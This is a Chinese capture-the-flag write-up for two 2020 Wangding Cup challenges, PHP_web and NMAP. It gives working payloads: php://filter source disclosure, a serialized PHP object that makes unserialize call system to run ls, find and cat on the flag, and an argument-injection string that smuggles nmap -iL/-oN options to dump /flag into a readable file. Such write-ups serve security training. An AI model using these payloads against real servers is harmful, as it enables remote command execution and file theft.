网鼎2020朱雀组 PHP_web+NMAP

前言

  没错,我就是懒狗。。。题目在CTFHUB上有复现

PHP_WEB 反序列化+函数构造+伪协议读取

  打开页面,发现什么都有,抓包看一下

  发现有funcp参数,而且参数配合起来是个PHP内置函数,猜测可以构造PHP函数,先简单fuzz

  发现file_get_contents这个没有被过滤,可以利用这个函数配合伪协议读取文件

  func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php

 

  解码

<!DOCTYPE html>
<html>
<head>
  <title>phpweb</title>
  <style type="text/css">
        body {
            background:url("bg.jpg") no-repeat;
            background-size: 100%;
      }
    p {
      color: white;
    }
    </style>
</head>
<body>
  <script language=javascript>
    setTimeout("document.form1.submit()",5000)
  </script>
  <p>
  <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
      "escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
      "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
      "array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
    );
    function gettime($func, $p) {
      $result = call_user_func($func, $p);
      $a= gettype($result);
      if ($a == "string") {
        return $result;
      } else {
        return "";
      }
    }
    class Test {
      var $p = "Y-m-d h:i:s a";
      var $func = "date";
      function __destruct() {
        if ($this->func != "") {
          echo gettime($this->func, $this->p);
        }
      }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
    if ($func != null) {
      $func = strtolower($func);
      if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
      }else {
        die("Hacker...");
      }
    }
  ?>
  </p>
  <form id=form1 name=form1 action="index.php" method="post">
    <input type="hidden" id="func" name="func" value='date'>
    <input type="hidden" id="p" name="p" value='Y-m-d h:i:s a'>
  </form>
</body>
</html>

   重点是PHP代码,Test类里有个__destruct()方法,那就构造反序列字符串。然后func那填unserialize进行反序列化触发__destruct()

 脚本

<?php
class Test {
    var $p = "ls";
    var $func = "system";
}

$a=new Test;
print(serialize($a));

?>

  //O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

传入

  func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

 

  func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

 

  func=unserialize&p=O:4:"Test":2:{s:1:"p";s:20:"cat /flag_2654626055";s:4:"func";s:6:"system";}

 

NMAP  namp命令使用

 

  127.0.0.1’ -iL /flag -oN vege.txt’ 提交之后去访问/vege.txt

 

  -iL  从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL-nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息

  -oN 把扫描结果重定向到一个可读的文件logfilename中。

 参考链接:

  官方WP

  https://blog.csdn.net/Pdsdt1/article/details/106199660/

原文地址:https://www.cnblogs.com/Lee-404/p/13039018.html